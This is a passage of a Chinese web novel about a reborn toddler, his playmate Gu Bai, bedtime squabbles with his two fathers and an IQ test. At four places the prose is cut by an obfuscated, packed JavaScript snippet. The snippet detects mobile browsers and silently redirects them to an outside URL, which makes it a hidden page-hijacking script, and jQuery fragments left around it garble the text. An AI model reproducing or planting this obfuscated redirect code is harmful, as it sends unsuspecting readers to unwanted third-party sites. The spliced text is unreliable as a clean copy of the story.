顾白一脸真诚,目光澄澈,认真地看着他。 两个人都没再管手表里的小狗。 陆傲冷声问:“你想说什么?你想做什么?” 顾白只是朝他笑了笑,举起双手,往自己头上抛洒海洋球。 “我想让你开心!我想让我们天天都开心!” 陆傲哽了一下,沉默着别过头去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984677|147345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 真是胸无大志,不知道他怎么当上主角的。 陆傲懒得理他,顾白也没有再说话。 不知道过了多久,手表里的小狗“汪”了一声,引起他们两个的注意。 见陆傲的目光落在手表上,顾白又把手表递到他面前:“要继续玩吗?” “嗯。”陆傲轻轻地点了点头,又把身子转过来,朝他伸出手,“来玩吧。” “我就知道你喜欢玩‘跳一跳’。” “我只是习惯做事有始有终而已,这是我的行事准则。” “噢。” “玩完这局就不玩了。” ——然后他们就玩了三四局。 直到江知鱼发现不对劲,走近一看,才发现他们在偷偷玩手表。 崽崽静悄悄,必定在作妖。 “你们两个在玩什么呢?给我也玩玩。” 江知鱼的声音幽幽传来,两只小崽崽手上一抖,小狗掉进山谷,游戏结束。 “爸爸!” “江叔叔!” ——两个人同时不满地大喊。 “啊?‘死’了?”江知鱼也没想到会这样,连忙道歉,“对不起,我错了,再开一局,我和你们一起玩,好不好?我保证这次破纪录!” 两只小崽崽对视一眼,最后还是勉强接纳了他。 “嗷嗷第一,我第二,江叔叔第三。” 三个人挤在一起,排好顺序,开始玩游戏。 这回果然破了记录。 游戏结束,江知鱼夸张地伸了个懒腰:“哇,玩游戏好累啊,眼睛好酸啊,你们两个都不累吗?” 陆傲一脸无奈,他又在假装了。 顾白认真回答:“不累啊。” “可是我累了,我的精力条都掉光了,把手表收起来吧,等我恢复精力了再继续玩,怎么样?” “好啊好啊。” “那我们就是队友了,队友不许抛弃队友,自己偷偷玩,对吧?”江知鱼朝他们伸出小拇指,“拉钩,以后要带我一起玩噢。” “好!” 顾白还是那副傻不愣登的模样,随便一钓就上钩了。 江知鱼又看向陆傲:“嗷嗷,快来和队友一起拉钩。” 诡计多端的大人,为了控制他们玩手表的时间,想出这么弯弯绕绕的方法。 陆傲瘪了瘪嘴,但最后还是把手指勾上去了。 “拉钩,上吊,一百年,不许变,谁变谁是小狗。” 解决完这件事情,江知鱼就把两只小崽崽从海洋球里捞出来。 “时间不早了,要回去休息了。小白,中午要和我们一起吃饭吗?” 顾白摇摇头:“不用了,大爸爸会煮饭的。” “可他不是还没煮吗?我们家的张爷爷已经煮好饭了,可以直接开吃。” 顾白看向陆傲,一本正经道:“可是我和嗷嗷只约好了要一起玩,没有约好要一起用餐啊。嗷嗷没有邀请我,我不能自己去。” 陆傲也严肃地点了点头:“没错。” 小崽崽之间总是有一些奇奇怪怪的规定,江知鱼也没管。 他们离开儿童乐园,在电梯里分开。 陆傲先出电梯,顾白朝他挥挥手:“嗷嗷,拜拜!” 陆傲回过头,小小地跟他说了一声“再见”,然后马上转回头去。 电梯门关上,顾白的声音还回响在楼道里:“嗷嗷,今天一整天都要开心噢!” 19.一起睡x2 19 从儿童乐园回来,陆傲就一脸闷闷不乐的样子。 他板着小脸,抱着小手,沉默地坐在病床上,连自己最爱的新闻也不看了。 他在思考—— 为什么儿童手表上搜不到爸爸和大爸爸的名字? 为什么顾白的爸爸和大爸爸形象和前世完全不一样? 为什么顾白作为主角,非要和他一起玩,还希望他天天开心? 为什么?为什么? 重生后的世界,是一个充满了“十万个为什么”的世界。 谜团一个接着一个,陆傲仅凭现在三岁的小脑袋,根本想不明白。 他连一点儿头绪都没有。 这种一切失控的感觉,让他很难受。 忽然,有人伸出手,捏了捏他的小脸蛋。 “嗷嗷,想什么呢?愁眉苦脸的?” 陆傲抬起头,对上江知鱼温柔的目光。 马上要开饭了,江知鱼一边问他,一边打开病床旁边的小桌板。 陆傲一只手撑在桌上,托着腮帮子,继续思考。 江知鱼又问:“你在模仿沉思者?” 陆傲回过神,大声反驳:“才没有!” “那就是你腮帮子上的肉肉太多了,你撑不住了?” “更不是!” 陆傲犹豫了一下,最后还是把手放下来了。 江知鱼在他面前坐下:“刚刚在儿童乐园玩的时候,不是还很开心吗?小白还祝你天天开心。出什么事情了,可以跟爸爸说说吗?” “不可以。”陆傲断然拒绝。 他总不能问江知鱼,为什么手表上搜不到他吧? 这个问题太愚蠢了。 “那好吧。”江知鱼长长地叹了口气,“那你就继续愁眉苦脸,变成一个小话梅吧。” 陆傲皱眉:“什么小话梅?” “你总是这样皱着小脸,把脸上挤出小皱纹,不就变成一颗小话梅啦?” 江知鱼伸出两根手指,比了个“耶”,把陆傲皱起来的眉头展开。 “酸溜溜的小话梅,咸津津的小话梅,皱巴巴的小话梅。以后爸爸亲你一口,都被你酸得牙疼,嘶——” 江知鱼捂住自己的腮帮子,好像真的被酸到了。 陆傲无语,但还是配合地抹了抹自己的小脸蛋。 “现在好了。” “不错,现在就变成一颗剥了壳的完美小鹌鹑蛋了,没有一点皱纹!” “我就不能变成一个正常的小孩吗?” 不是小话梅,就是鹌鹑蛋。 所以在江知鱼眼里,他到底长什么样子啊? 江知鱼笑嘻嘻的,摸摸他的小脑袋:“开心点,不止是小白,爸爸也希望你开心。” 就在这时,陆行渊端着饭菜过来。 “小鱼、陆傲,可以吃饭了。” “好。”江知鱼应了一声,“我去拿碗筷,嗷嗷去洗手。” “噢。”陆傲从床上爬下来,乖乖去卫生间洗手。 中午吃简单的米饭和炒菜,张大爷炒了牛柳和青菜,还蒸了鸡蛋羹,陆行渊又煮了个江知鱼想吃的小肉丸汤,就差不多了。 陆傲站在儿童洗漱池前,抬起头看着镜子里的自己。 被江知鱼这么一打岔,他确实好受许多。 不管重生后的世界怎么样,他总要在这里生活下去。 不管有多少谜团等待他解开,总会有真相大白的那一天。 他只要按照自己的目标,好好地走下去就好了。 陆傲握紧拳头,下定决心。 “嗷嗷,又在镜子前面臭美呢?” 江知鱼捧着碗筷,从他身后走过。 陆傲迅速回过头,扑上前去,撞在他的腿上:“才没有。” “那就是‘臭帅’,不然就是‘臭屁’。哈,我真厉害,竟然会用‘臭’字组这么多词。”江知鱼自己也开始臭美,“嗷嗷,你也组个词给爸爸听听。” “臭……” 陆傲几乎脱口而出,要说江知鱼是“臭爸爸”。 但是他……舍不得。 他跟在江知鱼身后,轻轻揪着他的裤脚,乖乖跟在他身后。 他转过头,目光落在陆行渊身上:“臭……” 陆行渊似乎察觉到他的想法,目光严肃地看向他。 ——你想说什么? 被大霸总的威压震慑到,陆傲不由地往爸爸身后躲了躲。 还是算了,他不组词了。 组了词,“臭陆行渊”会把他抓起来打屁股的。 * 陆傲的心情,就像天气一样善变。 早上的时候还晴空万里,到了中午就乌云密布。 没多久,爸爸驱散乌云,他又高兴起来。 一天时光就这样过去。 这天晚上,江知鱼又穿着睡衣,抱着枕头和被子,来到病房里。 陆傲洗好澡,看见他进来,心里马上就明白了。 ——爸爸又来陪他睡觉了! 不过,他不能表现得太太太高兴,他必须要矜持一点。 所以他象征性地反抗了一下。 “江知鱼,我的病已经好了,不会有事的。” “不行,医生还没宣布你已经康复了。” “可是我昨天晚上都没乱跑。” “昨天晚上那是因为有我和大爸爸看着你,不然你早就跑掉了。” “那……那好吧……” 事不过三,拒绝的话也不应该超过三次。 陆傲清了清嗓子,往床铺旁边挪了挪,给江知鱼让出空位来。 “咳咳……你上来吧。” 江知鱼把枕头和被子放下,却对他说:“嗷嗷,你误会了。” 陆傲猛地抬起头:“嗯?” 一股不祥的预感,涌上他的心头。 “爸爸昨晚陪过你了,所以今晚……” 话音未落,陆行渊穿着和江知鱼同款的糊涂塌客(史努比养的那只黄色小鸟)睡衣,出现在病房门口。 他的衣服幼稚,但他的身形高大,他的表情冷漠,他的语气冰冷。 “今晚是我。” 啊?! 陆傲震惊! 难道不应该是江知鱼一直陪他睡吗? 他都已经做好准备了,为什么忽然换人? 他不要和陆行渊一起睡!他绝不和自己的“屁屁仇人”一起睡!绝不! 这一回,陆傲还没来得及逃,就被陆行渊揪住衣领,抓了回来。 陆行渊的力气比江知鱼的大好几倍! 他直接掀开被子,把陆傲塞进去,然后陆行渊在他身边躺下,搂住他的肩膀。 陆傲奋力挣扎,只觉得自己被一个钳子牢牢钳住,动弹不得。 父子二人并排躺好,陆行渊紧紧搂着陆傲,捏住他的嘴,朝江知鱼露出一个自信的微笑。 “小鱼,别担心,我会照顾好儿子的。” 好一副父慈子孝的名场面。 虽然是演出来的。虽然陆傲的双脚还在被子里狂蹬陆行渊,无敌风火轮! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997113|147345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——松开我!你松开我啊! 江知鱼很是欣慰,摸摸陆傲的小脑袋,又帮他掖好被角。 陆傲不敢置信地睁大眼睛。 ——啊!江知鱼,你没发现我被挟持了吗?救我啊! 最后,江知鱼朝他们父子二人抛了个晚安飞吻,施施然转身离开。 “晚安,明天见。” “晚安。” 陆行渊伸手接住他的飞吻,并且全部独占,不分给陆傲一丁点。 陆傲还在蹬着脚奋力挣扎,别走啊!江知鱼,你别走! “啪嗒”一声,灯光熄灭,房门关上。 陆傲倒在床上,失去生机:“我要和爸爸一起睡。” 陆行渊果断:“我就是你爸。” “我说的是另一个爸爸。” “不行,睡觉。” 陆行渊收回手,学着江知鱼的动作,拍了他一下。 结果他没控制好力度,陆傲捂着心口,几乎要吐出一口老血……噢,崽崽吐的是“小血”。 “你……你想拍死我,我要去找爸爸!” “回来,别跟爸爸说。” 这可不能让小鱼知道,不然他会被小鱼揍死的。 陆行渊把陆傲按回床上,想帮他揉揉心口,但是陆傲不要他按。 他用力推开陆行渊的手,背过身去,挪到床边,离陆行渊远远的。 以示自己的抗议和不满! 陆行渊问他:“你没事吧?要不要看医生?” “不要。”陆傲背对着他,背影都显得那样倔强,“你离我远点就好了!你的力气太小了,拍得我根本不痛,一点都不痛!” “好。” 他这样说,陆行渊就真的没有再管他,一点动静都没有,好像已经睡着了。 陆傲咬着牙,在心里骂他。 果然是冷漠无情的大爸爸!崽都这样了,他还睡得着! 侧躺久了,陆傲的肩膀有点酸,他坚持了一会儿,最后还是受不了了,小心翼翼地拽着被子,翻了个身。 结果他一翻身,就在黑暗中对上陆行渊的目光。 “还痛吗?” 陆傲被他吓得一激灵,原来他没睡着啊! 吓死崽了! 陆傲嘴硬:“早就不痛了。” 还算陆行渊有点良心,没有真的睡着。 下一秒,陆行渊正色道:“那你不准向小鱼告状。” “知道了,我又不是告状精、长舌崽。” 陆傲抱着手,愤愤不平。 小鱼小鱼,就知道小鱼,他还是小崽呢! 陆傲揉了一下肩膀,再背过身去。 父子二人背对着背睡觉,中间好像隔了一条又长又宽的银河。 陆傲自己抱着自己,躲在被窝里,一脸生无可恋。 果然,好爸爸都是对比出来的,和陆行渊一对比,江知鱼好了不知道多少倍。 呜呜,他好想和江知鱼一起睡,江知鱼会抱着他,拍拍他,还会给他唱跑调的催眠曲。 江知鱼的怀抱好温暖,江知鱼的动作好温柔,江知鱼的歌声……好难听。 虽然很难听,但也别有一番风味。 他不该嘴硬的,他再也不嘴硬了! 爸爸,快来救他…… 不,想要的东西就要自己争取!他要自己去找爸爸! 陆傲鼓起勇气,蹑手蹑脚地掀开被子,刚准备下床,就被陆行渊抓住衣领,挂在半空,摇摇晃晃。 “你去哪里?乖乖睡觉。” 20.测智商 20 父子情是一条又宽又长的银河。 陆傲在这边,陆行渊在那边。 两个人背对着背,安安静静、规规矩矩地侧躺着,一只手放在枕头上,一只手搭在身上,双腿交叠,微微屈起,连睡姿都一模一样。 ——第二天,早上六点。 江知鱼推开病房门,从房门外探进脑袋,看见的就是这样的场景。 只一眼,江知鱼就沉默了。 怎么回事?他们两个是互相过敏吗?一旦碰到对方就会马上爆炸? 算了,要求不要太高,可能这就是他们之间的相处方式吧。 不理解,但尊重。 江知鱼悄悄缩回脑袋,准备回去睡个回笼觉。 就在这个时候,床上陆傲的小身影,轻轻地晃了晃。 他似乎是想要翻身,可他本来就睡在床铺最边缘,要是再翻身…… “嗷嗷——” 江知鱼一边大喊,一边飞扑上前。 “陆行渊,你儿子要掉了!” 可他离得太远太远,只能眼睁睁地看着陆傲一点一点地掉下去、掉…… 千钧一发之际,陆傲背后的陆行渊伸出手,一把抓住裹在陆傲身上的被子,用被子兜住陆傲。 像提起一个小包包,直接把他提了回来。 陆傲似乎有所察觉,但也只是“哼哼”两声,用力蹬了一下脚,然后继续睡觉。 陆行渊睁开眼睛,对上江知鱼惊魂未定的双眼。 江知鱼松了口气,拍着心口,小声道:“吓死我了,你们两个干什么这样睡?” 陆行渊坐起来,解释道:“陆傲不肯挨着我,非要这样睡,我没办法,只好迁就他。小鱼,别担心,他没摔到床下过,我一直看着,旁边也堵着沙发。” 听见他这样说,江知鱼这才看见,陆行渊把病房里的小沙发搬了过来,就堵在床边。 就算陆行渊刚刚没有及时抓住陆傲,陆傲也只会摔在沙发上,不会有事。 江知鱼无奈地叹了口气:“真搞不懂你们两个,就不能像我和嗷嗷一样相亲相爱吗?” ——不能。 清醒的陆行渊和沉睡的陆傲在心里同时回答。 当然,陆行渊是不可能说出来的。 他勾了勾唇角,拉住江知鱼的手,让他在床边坐下:“今天怎么这么早?” “起来尿尿,就想过来看看你们,结果差点被你们吓死。” “我的错。”陆行渊伸出手,轻轻拍拍江知鱼的心口。 旁边睡着的陆傲,在睡梦中不满地“哼”了一声。 ——原来你会轻轻拍啊!那你昨天还那么用力地给我一掌! 陆行渊,我要告你区别对待! 听见陆傲“哼哼”,江知鱼连忙伸出手,捂住陆行渊的嘴,怕把他吵醒。 等他没了声音,又熟睡过去,江知鱼才松开手。 陆行渊低声问:“那现在呢?要回去继续睡,还是吃早饭?早上想吃什么?我去做。” “唔……”江知鱼想了想,“继续睡觉。但不要回去睡。” 陆行渊皱眉,神色不解。 江知鱼笑嘻嘻地站起身,掀开盖在他身上的被子。 这下陆行渊明白了。 江知鱼要在这里睡。 他蹬掉鞋子,轻手轻脚地爬上去。 陆行渊则伸出双手,扶着他,护着他,帮他调整好姿势躺下。 陆行渊平躺下,江知鱼像一只小树袋熊,挂在他身上。 而陆傲感觉到熟悉的气息,也不由自主地靠过来,像一只小小树袋熊,贴在爸爸身后。 陆行渊长臂一揽,用手臂搂住老婆,又用手掌拽住儿子。 在此之前,谁也不知道,一张病床竟然能躺下一家三口。 虽然有点别扭,但是也不碍事。 江知鱼本来就困得很,缩在陆行渊怀里,闭上眼睛,没五分钟就睡着了。 陆行渊垂下眼睛,看着他的侧脸,在心里默数他像小钩子一样翘起来的睫毛,也不觉得无聊。 一室静谧,岁月静好。 * 挂在墙上的时钟,滴答滴答地走着。 早上六点钟,天还灰蒙蒙的,什么都看不清。 七点钟,太阳升起。 八点钟,渐渐刺眼的阳光,透过窗帘,照在病床上。 盖着的被子有点厚,身边有一个暖烘烘的大热源,现在又有阳光照进来。 陆傲皱起小脸,似乎有些不满。 好热,怎么会这么热? 好挤,床怎么也变得这么小?陆行渊有这么高大吗? 他挣扎着清醒过来,揉了揉眼睛,看清眼前景象之后,整只崽都震惊了。 陆行渊和江知鱼两个成年人,竟然抱在一起,挤在他的病床上! 江、知、鱼! 你什么时候跑过来的? 你跑过来就算了,你还不抱我! 你不抱我就算了,你还抱我的仇人! 这是我的病床,你是我的爸爸,你怎么可以这样对我? 还有你,陆行渊,你不是来陪我睡觉的吗?你怎么还把老婆带过来了? 你到底是陪谁睡觉? 你们两个……你们两个简直是欺崽太甚! 一团火腾地一下窜起来,陆傲瞬间清醒,从床上爬起来,举起小手,照着江知鱼和陆行渊的脸,“啪啪”就是两下。 分开!出去!不许睡我的床! 要恩爱出去恩爱!我还是未成年崽崽呢! 江知鱼“啊”了一声,捂着脸颊,迷迷糊糊睁开眼睛:“好痛……谁打我?陆行渊,是不是你?” “不是我,我也被打了。”陆行渊扶着他的脑袋,让他把目光对准陆傲。 陆傲站在床上,双手叉腰,挺起小肚肚,小脸上写满了愤怒。 是我!怎么样? “嗷嗷,你醒啦?” 陆傲一言不发。 “昨天晚上没和你一起,爸爸都睡不着,所以爸爸过来找你们了。因为你当时在睡觉,爸爸不想吵醒你,就没喊你,你生气了吗?” 江知鱼揉揉自己和陆行渊的脸颊,可怜巴巴地看着他。 陆傲仍旧闭紧嘴巴,不肯说话。 生气了!他可不吃这一套…… 下一秒,一只手忽然伸出来,直接抱住陆傲。 “小崽崽,你生气也没用!小崽崽生下来就是要和爸爸、大爸爸一起睡的!” “江知鱼!啊!” “hiahiahia!桀桀桀!” 江知鱼大笑出声,像一个小反派。 陆行渊陪在他身边,但笑不语,像一个大反派。 可怜的小崽崽手脚并用,奋力挣扎,最后却还是被拖进被子里。 救……救命…… * 一家三口在床上闹了快半个小时。 一直到张大爷做好早饭,在外面催,他们才磨磨蹭蹭地起来。 因为他们同时起床,所以也挤在卫生间里一起洗漱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010180|147345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆傲站在洗漱台前,抓着小牙刷,把牙齿刷得唰唰响。 江知鱼站在他身边,好心提醒:“嗷嗷,你的小乳牙不用刷得那么用力。” 陆傲没有说话,鼓着腮帮子,“噗”的一声,把嘴巴里的泡沫吐掉。 他用力漱口,用力打开水龙头,用力把泡沫冲掉! 在他眼里,这团泡沫就是讨厌的爸爸! 江知鱼被他吓了一跳,捂着心口,默默地往边上挪了挪。 好可怕。 洗漱完,就可以吃早饭了。 早饭是张大爷煮的牛肉面,还有外面买的水煎包。 一家三口排排坐在茶几前吃早餐,面条太滑,陆傲用筷子夹不住,于是他用叉子吃。 他始终没忘记自己的目标,大口大口地往嘴里塞面条。 他要强身健体,再也不受爸爸和大爸爸的欺负! 吃着吃着,江知鱼忽然说:“对了,嗷嗷,等一下爸爸和大爸爸要带你出门一趟。” “去哪里?”陆傲面无表情地抬起头,“又去找顾白玩?” “不是噢,今天不去找小白。”江知鱼说,“你还记得,爸爸前几天跟你说过的智商测试吗?今天刚好排到我们了,所以我们要去测智商。” 陆傲不敢相信地睁大眼睛:“你不早说?” “现在不早吗?测试时间是上午十点,现在才八点多。” “不是这个,是……是……” 如果他知道今天要做智商测试,他就早做准备了! 多看书,多看报,多看新闻,多睡觉。 他就不会把时间浪费在和爸爸、大爸爸玩闹上了! 陆行渊看出他的想法,正色道:“智商测试测的就是日常情况下你的表现,不要想临时抱佛脚。” “我才没有。”陆傲瘪了瘪嘴。 他只是觉得……二十八岁的自己,应该比三岁的自己更聪明点,多考三十分应该不是问题吧? 陆傲低下头,一边吃面条,一边在心里紧急复习。 语文古诗词!床前明月光…… 英文字母歌!ABCDEFG…… 数学加减法!一加一等于二、二加二等于四、三加三等于…… 在陆傲的碎碎念中,江知鱼和陆行渊带着他出了门。 慈爱私立医院里边,就有专门给儿童测智商的机构。 他们不用去太远的地方,出了住院部左拐,走十分钟就到了。 他们到的时候,专家办公室的门正关着,似乎有人正在里面。 而顾白就坐在办公室外面的长椅上,百无聊赖地晃着双脚。 看见陆傲一家人来了,顾白眼睛一亮,比接待的护士还快,飞一般迎了上去。 “嗷嗷,上午好!江叔叔、陆叔叔,上午好!” “小白,你好。”江知鱼笑着问,“你也在这里啊?” “嗯。”顾白点点头,“爸爸和大爸爸带我来测智商。” 原来顾白排在他们前面。 好胜心强的陆傲握紧了拳头,可恶,他不允许任何人排在他前面! 接待的护士补充说明:“专家正在跟这位小朋友的家长谈话,大概还需要五分钟,两位可以先带着小朋友在外面坐一会儿。” “好的,谢谢。” 江知鱼应了一声,回过头,刚准备带陆傲和顾白过去坐,却看见陆傲自顾自地走到顾白面前。 他问:“顾白,你考得怎么样?你答对了几题?你知道一加一等于几吗?你觉得你是不是小天才?” 21.天塌了 21 办公室外,陆傲抱着小手,一脸严肃地看着顾白。 顾白也很配合他,掰着手指头,一个问题一个问题地回答。 “我不知道我考得怎么样,也不知道我答对了几道题。因为医生叔叔没有告诉我。我知道一加一等于几,一加一等于二,但是我不知道,知道这个,算不算是小天才。” 无数个“知道”和“不知道”,从顾白嘴里冒出来,几乎要把在场的大人们绕晕。 这个小孩到底在说什么? 只有陆傲知道! 他知道,顾白不是小天才。因为小天才是不会如此口齿不清的。 只有他陆傲才是真真正正的小天才! 他今天就要一鸣惊人,超越主角,打败主角,把爸爸和大爸爸的下巴都吓掉! 沉浸在自己美好的幻想里,陆傲不由地双手叉腰,挺起胸膛,扬起小脸,用一种高傲的、蔑视的高大姿态,俯视主角。 他已经在心里宣布自己大获全胜啦! hiahia…… 不对,这是爸爸的笑声,霸总的笑声应该是—— 呵呵! 站在他身边的江知鱼和陆行渊沉默着,看着他的小表情,抬起手挠了挠头发——双手交叉,互相挠对方。 “陆行渊,看来不用测智商了,你儿子已经傻了。” “小鱼,这是我们的儿子。” “我觉得你比较傻,所以肯定是你遗传给他的。” “不是我,我不傻。” “要不然……先带他回去吧?我想重新做一下心理建设,万一测出来他是个小傻瓜,我会当场晕倒的。” 这时,顾白小心翼翼地伸出手,拉住陆傲的衣袖。 “嗷嗷?” 陆傲回过神,转头看他:“干嘛?” “我怕你飘到天上飞走。” “人是不会飞走的。” ——陆傲又找到了“主角是小傻蛋”的一条有力证据! 陆傲收敛了脸上过分的笑容,在所有人的目光中,背着手,缓步走到办公室门外的长椅前,爬上去坐好。 霸总要喜怒不形于色。 江知鱼在他身边坐下,难得温声细语地对他说:“嗷嗷,你不用太紧张,这只是一次普通的测试,测不好也没关系。只要你快乐长大,爸爸和大爸爸就很满意了。” 江知鱼不仅要给自己做心理建设,还要给陆傲做,就怕陆傲接受不了测试结果,会当场暴走。 陆傲却自信满满:“等着吧,江知鱼,你会为我感到骄傲的。” “啊……”江知鱼哽了一下。 等着吧,听起来像坏人放狠话。 他干笑两声:“那爸爸就期待一下了。” “嗯。”陆傲抱着小手,一边在心里默背“ABCD”,一边静静等待测试的到来。 五分钟后,办公室门被人从里面推开。 顾白的爸爸和大爸爸——顾云帆和周朔从里面走了出来。 他们两个还是前天见面时那样的打扮,顾云帆穿着商务西装,周朔穿着奶爸套装。 但两个人手里没有拿着纸质检测报告或是任何文件。该交流的内容,他们应该已经口头和专家交流过了。 顾白上前,问自己考得怎么样,他们也只是摸摸顾白的小脑袋,说他考得很好。 ——这一看就是安慰小笨蛋的话术。 陆傲一眼看穿,在专家喊到他的名字的时候,从座位上滑下来。 他整理了一下衣领,对江知鱼和陆行渊说了一声“等我出来”,然后迈着自信的步伐,大步走进办公室。 他直接走到专家面前,朝他伸出小手,语气严肃:“你好。” 专家愣了一下,试探着握住了他的手:“小朋友,你好?” “今天就辛苦你了。”陆傲微微颔首,然后转过身,爬到专家对面的椅子上,“可以开始了。” “呃……好的,那我们现在开始……开始……” 陆傲一套一套的,把专家搞得一愣一愣的。 他甚至忘了自己第一步该干什么。 专家手忙脚乱的,摸了摸桌上的纸质测试表,又点了点面前的电脑,最后拿起挂在白大褂口袋里的眼镜,给自己戴上。 看清周围景象之后,专家才大声宣布:“开始!” 这可是他工作了十年的办公室,怎么能被一只小崽崽反客为主? 郝医生,振作起来! ——又来了! 陆傲身后的单向玻璃隔间里,江知鱼脚下一个踉跄,直接晕倒在陆行渊怀里。 上次医生去病房里查房,陆傲也是这样。 先发制人,先入为主,反客为主,最后K.O对方! 陆行渊拍拍他的脸颊,捏捏他的人中:“小鱼,怎么了?我觉得他表现得挺好的。” 江知鱼不敢相信地抬起头,一把揪住他的衣领:“陆行渊,我就知道,他肯定是跟你学的!” “冤枉啊,小鱼大人。” * 专家既没有问古诗,也没有问英文字母。 他先问陆傲叫什么名字,然后问他是男孩子还是女孩子、今年几岁了、和谁一起住。 陆傲用一种看傻瓜的目光看着他,然后伸出小手,指了一下专家手里的测试表,提醒他:“这里都有。” 专家沉默了。 陆傲又说:“我就不会问这些傻瓜问题来拉近距离。” 他举起手,指着他白大褂上的胸牌:“你叫‘郝专业’,性别男,这里也有。直接开始吧。” 专家再次沉默,最后抹了把脸,别过头去。 这是他职业生涯中所遭受的最重大的滑铁卢。 陆傲也很无奈。他回过头,看向身后的单向玻璃。 他知道这类心理测试的流程,作为家长,江知鱼和陆行渊肯定在玻璃后面看他。 陆傲想问他们,这就是你们找的专家?还不如小崽崽呢。 玻璃后面的江知鱼抬起手,给了陆行渊一下。 ——这就是你找的专家?还不如陆嗷嗷呢。 陆行渊默默记在心里,准备回去问问张大爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14020284|147345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——这就是你找的专家?还不如…… 不管怎么样,换人是不可能换了。 专家直接拿出测试书,翻到一页,让陆傲做题。 图形推理题、图案分辨题,还有找规律题。 “小朋友,我们正式开始做题。” “好。”陆傲捏紧拳头,打起精神,认真应对。 半个小时后,专家合上书本,按了一下桌上响铃。 护士推门进来,要把陆傲带出去。 “不能直接告诉我测试结果吗?”陆傲问。 “不好意思,陆嗷嗷小朋友,按照规定,我们需要先把测试结果告知你的家长,然后征求他们的意见,看能不能告诉你。” 知道陆傲很成熟之后,专家也换了一种交流方式跟他说话。 “那好吧。”陆傲果然听进去了,“再见。” “再见。” 专家目送陆傲离开办公室,然后转过头,继续在电脑上敲敲打打。 陆傲出去的时候,顾白一家已经离开了,外面只有他和护士两个人。 陆傲在距离办公室最近的椅子上坐下。 护士给他拿来柠檬蜂蜜水和巧克力饼干,让他垫垫肚子,还安慰他说:“小朋友,你在这里等一会儿,爸爸和大爸爸马上就出来了。” “好的。”陆傲吸溜一口蜂蜜水,支愣起耳朵,听着里面的动静。 不知道过了多久,办公室里再次传来铃铛响声。 陆傲跳下椅子,把喝完的空水杯递给护士,礼貌地请他帮自己再倒一杯。 趁着护士离开,陆傲马上跑到办公室外。 他整只崽趴在门上,侧过头,挤开脸蛋上的肉肉,把耳朵贴在门上,专心听着里面的动静。 果然,专家按铃之后,躲在单向玻璃后面的江知鱼和陆行渊出来了。 陆傲听见他们互相问好的声音。 “专家辛苦了,我们家嗷嗷是有一点特殊,辛苦了。” “岂止是特殊……”专家的声音里带着哽咽,“那是相当特殊。” 但很快的,专家就调整好了心情:“两位家长请坐,我先简单总结一下陆嗷嗷小朋友的情况。” “好。” 门外的陆傲不由地睁大眼睛,把耳朵贴得更紧了,舍不得错过专家夸奖他的每一个字。 陆傲对自己很有自信! 他敢保证,在测试过程中,他表现出了前所未有的智慧、勇气和耐心! ——“嗷嗷小朋友的智商确实很高,测试分数达到了惊人的143。” 只比前世高了三分,陆傲瘪了瘪小嘴,有点失望。 ——“不过……” 不过什么?陆傲又抬起头。 专家深吸一口气:“嗷嗷小朋友,有严重的……也不能算是很严重,就是……小朋友有一点儿全能自恋。” 全能自恋! 自恋! 陆傲趴在门上,小肚子和小脸蛋上的肉肉摩擦着门板,整只崽像一颗融化的Q-Q糖,软软地滑下去,变成一滩糖浆。 天!塌!了! 22.自恋 22 办公室外,陆傲像一张随旺旺大礼包赠送的冰箱贴,被贴在门上,但贴不牢,风一吹,就一点一点地往下滑。 他脸颊上的小肉肉和门板摩擦,发出“嘎吱嘎吱”的声音。 办公室里,江知鱼听见声音,下意识扭头看去。 这是什么鬼动静? 而他的面前,郝专家还在向他介绍:“所谓全能自恋,简单来说,就是婴儿认为自己是世界的中心,自己无所不能,只要自己念头一动,家长就会满足他的愿望,世界也会随之转动。” “这种心理状况,通常存在于每个人的婴儿时期。一直延续到幼儿时期,甚至是成年时期,也是有可能的。两位家长不用太过担心,小朋友年纪还小,是可以慢慢调节……” “家长?这位家长?您在听吗?” 专家发现江知鱼在走神,连忙喊了几声。 